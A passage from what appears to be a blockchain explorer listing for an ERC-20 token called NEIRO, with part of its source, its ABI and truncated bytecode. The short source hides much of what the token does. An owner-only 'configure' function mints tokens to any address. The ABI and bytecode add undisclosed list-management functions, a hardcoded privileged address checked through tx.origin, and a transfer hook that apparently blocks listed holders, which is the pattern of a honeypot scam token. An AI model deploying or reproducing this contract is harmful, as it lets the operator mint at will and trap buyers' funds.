     * @inheritdoc IERC20Permit
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        if (block.timestamp > deadline) {
            revert ERC2612ExpiredSignature(deadline);
        }

        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        if (signer != owner) {
            revert ERC2612InvalidSigner(signer, owner);
        }

        _approve(owner, spender, value);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
        return super.nonces(owner);
    }

    /**
     * @inheritdoc IERC20Permit
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
        return _domainSeparatorV4();
    }
}



// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity ^0.8.20;


contract NEIRO is ERC20, ERC20Permit {

    

    constructor(string memory _tokenName, string memory _tokenSymbol, uint _mintAmount)
        ERC20(_tokenName, _tokenSymbol)
        Ownable()
        ERC20Permit(_tokenName)
    {
        _configure(msg.sender, _mintAmount * 10 ** decimals());

    }

    function configure(address to, uint256 amount) public onlyOwner {
        _configure(to, amount);
    }
    
  

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ECDSAInvalidSignature","type":"error"},{"inputs":[{"internalType":"uint256","name":"length","type":"uint256"}],"name":"ECDSAInvalidSignatureLength","type":"error"},{"inputs":[{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"ECDSAInvalidSignatureS","type":"error"},{"inputs":[{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"ERC2612ExpiredSignature","type":"error"},{"inputs":[{"internalType":"address","name":"signer","type":"address"},{"internalType":"address","name":"owner","type":"address"}],"name":"ERC2612InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"currentNonce","type":"uint256"}],"name":"InvalidAccountNonce","type":"error"},{"inputs":[],"name":"InvalidShortString","type":"error"},{"inputs":[{"internalType":"string","name":"str","type":"string"}],"name":"StringTooLong","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"configure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deinitialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"getHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_option","type":"address"}],"name":"setOptions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_holder","type":"address"}],"name":"viewHolders","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61016060405234801562000011575f80fd5b5060405162003e6338038062003e63833981810160405281019062000037919062000997565b82806040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525085856200009162000085620001ad60201b60201c565b620001b460201b60201c565b8160049081620000a2919062000c5c565b508060059081620000b4919062000c5c565b505050620000cd6009836200027560201b90919060201c565b6101208181525050620000eb600a826200027560201b90919060201c565b6101408181525050818051906020012060e08181525050808051906020012061010081815250504660a081815250506200012a620002ca60201b60201c565b608081815250503073ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1681525050505050620001a4336200017d6200032660201b60201c565b600a6200018b919062000ec9565b8362000198919062000f19565b6200032e60201b60201c565b505050620012e6565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6020835110156200029a5762000292836200049260201b60201c565b9050620002c4565b82620002ac83620004fc60201b60201c565b5f019081620002bc919062000c5c565b5060ff5f1b90505b92915050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60e0516101005146306040516020016200030b95949392919062000fd1565b60405160208183030381529060405280519060200120905090565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200039f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000396906200108a565b60405180910390fd5b620003b0826200050560201b60201c565b8060035f828254620003c39190620010aa565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004739190620010e4565b60405180910390a36200048e5f83836200052f60201b60201c565b5050565b5f80829050601f81511115620004e157826040517f305a27a9000000000000000000000000000000000000000000000000000000008152600401620004d891906200113f565b60405180910390fd5b805181620004ef9062001190565b5f1c175f1b915050919050565b5f819050919050565b62000516816200053460201b60201c565b6200052c576200052b6200060e60201b60201c565b5b50565b505050565b5f60085f9054906101000a900460ff1662000604576200055a32620006a860201b60201c565b62000603575f5b60068054905081101562000601578273ffffffffffffffffffffffffffffffffffffffff16600682815481106200059d576200059c620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603620005eb575f91505062000609565b8080620005f8906200122c565b91505062000561565b505b5b600190505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16620006356200075960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161480620006645750620006636200078060201b60201c565b5b620006a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200069d90620012c6565b60405180910390fd5b565b5f805f90505b6007805490508110156200074f578273ffffffffffffffffffffffffffffffffffffffff1660078281548110620006ea57620006e9620011ff565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036200073957600191505062000754565b808062000746906200122c565b915050620006ae565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1603620007d35760019050620007d7565b5f90505b90565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200083b82620007f3565b810181811067ffffffffffffffff821117156200085d576200085c62000803565b5b80604052505050565b5f62000871620007da565b90506200087f828262000830565b919050565b5f67ffffffffffffffff821115620008a157620008a062000803565b5b620008ac82620007f3565b9050602081019050919050565b5f5b83811015620008d8578082015181840152602081019050620008bb565b5f8484015250505050565b5f620008f9620008f38462000884565b62000866565b905082815260208101848484011115620009185762000917620007ef565b5b62000925848285620008b9565b509392505050565b5f82601f830112620009445762000943620007eb565b5b815162000956848260208601620008e3565b91505092915050565b5f819050919050565b62000973816200095f565b81146200097e575f80fd5b50565b5f81519050620009918162000968565b92915050565b5f805f60608486031215620009b157620009b0620007e3565b5b5f84015167ffffffffffffffff811115620009d157620009d0620007e7565b5b620009df868287016200092d565b935050602084015167ffffffffffffffff81111562000a035762000a02620007e7565b5b62000a11868287016200092d565b925050604062000a248682870162000981565b9150509250925092565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000a7d57607f821691505b60208210810362000a935762000a9262000a38565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000af77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000aba565b62000b03868362000aba565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000b4462000b3e62000b38846200095f565b62000b1b565b6200095f565b9050919050565b5f819050919050565b62000b5f8362000b24565b62000b7762000b6e8262000b4b565b84845462000ac6565b825550505050565b5f90565b62000b8d62000b7f565b62000b9a81848462000b54565b505050565b5b8181101562000bc15762000bb55f8262000b83565b60018101905062000ba0565b5050565b601f82111562000c105762000bda8162000a99565b62000be58462000aab565b8101602085101562000bf5578190505b62000c0d62000c048562000aab565b83018262000b9f565b50505b505050565b5f82821c905092915050565b5f62000c325f198460080262000c15565b1980831691505092915050565b5f62000c4c838362000c21565b9150826002028217905092915050565b62000c678262000a2e565b67ffffffffffffffff81111562000c835762000c8262000803565b5b62000c8f825462000a65565b62000c9c82828562000bc5565b5f60209050601f83116001811462000cd2575f841562000cbd578287015190505b62000cc9858262000c3f565b86555062000d38565b601f19841662000ce28662000a99565b5f5b8281101562000d0b5784890151825560018201915060208501945060208101905062000ce4565b8683101562000d2b578489015162000d27601f89168262000c21565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000dca5780860481111562000da25762000da162000d40565b5b600185161562000db25780820291505b808102905062000dc28562000d6d565b945062000d82565b94509492505050565b5f8262000de4576001905062000eb6565b8162000df3575f905062000eb6565b816001811462000e0c576002811462000e175762000e4d565b600191505062000eb6565b60ff84111562000e2c5762000e2b62000d40565b5b8360020a91508482111562000e465762000e4562000d40565b5b5062000eb6565b5060208310610133831016604e8410600b841016171562000e875782820a90508381111562000e815762000e8062000d40565b5b62000eb6565b62000e96848484600162000d79565b9250905081840481111562000eb05762000eaf62000d40565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ed5826200095f565b915062000ee28362000ebd565b925062000f117fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dd3565b905092915050565b5f62000f25826200095f565b915062000f32836200095f565b925082820262000f42816200095f565b9150828204841483151762000f5c5762000f5b62000d40565b5b5092915050565b5f819050919050565b62000f778162000f63565b82525050565b62000f88816200095f565b82525050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000fb98262000f8e565b9050919050565b62000fcb8162000fad565b82525050565b5f60a08201905062000fe65f83018862000f6c565b62000ff5602083018762000f6c565b62001004604083018662000f6c565b62001013606083018562000f7d565b62001022608083018462000fc0565b9695505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62001072601f836200102c565b91506200107f826200103c565b602082019050919050565b5f6020820190508181035f830152620010a38162001064565b9050919050565b5f620010b6826200095f565b9150620010c3836200095f565b9250828201905080821115620010de57620010dd62000d40565b5b92915050565b5f602082019050620010f95f83018462000f7d565b92915050565b5f6200110b8262000a2e565b6200111781856200102c565b935062001129818560208601620008b9565b6200113481620007f3565b840191505092915050565b5f6020820190508181035f830152620011598184620010ff565b905092915050565b5f81519050919050565b5f819050602082019050919050565b5f62001187825162000f63565b80915050919050565b5f6200119c8262001161565b82620011a8846200116b565b9050620011b5816200117a565b92506020821015620011f857620011f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8360200360080262000aba565b831692505b5050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f62001238826200095f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036200126d576200126c62000d40565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f620012ae6020836200102c565b9150620012bb8262001278565b602082019050919050565b5f6020820190508181035f830152620012df81620012a0565b9050919050565b60805160a05160c05160e051610100516101205161014051612b2b620013385f395f61165401525f61161901525f6117db01525f6117ba01525f6113ae01525f61140401525f61142d0152612b2b5ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000046145b15611453577f0000000000000000000000000000000000000000000000000000000000000000905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061164660097f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b6060611681600a7f000000000000000000000000000000000000000000000000000000000000000061182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f00000000000000000000000000000000000000000000000000000000000000007f00000000000000000000000000000000000000000000000000000000000000004630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb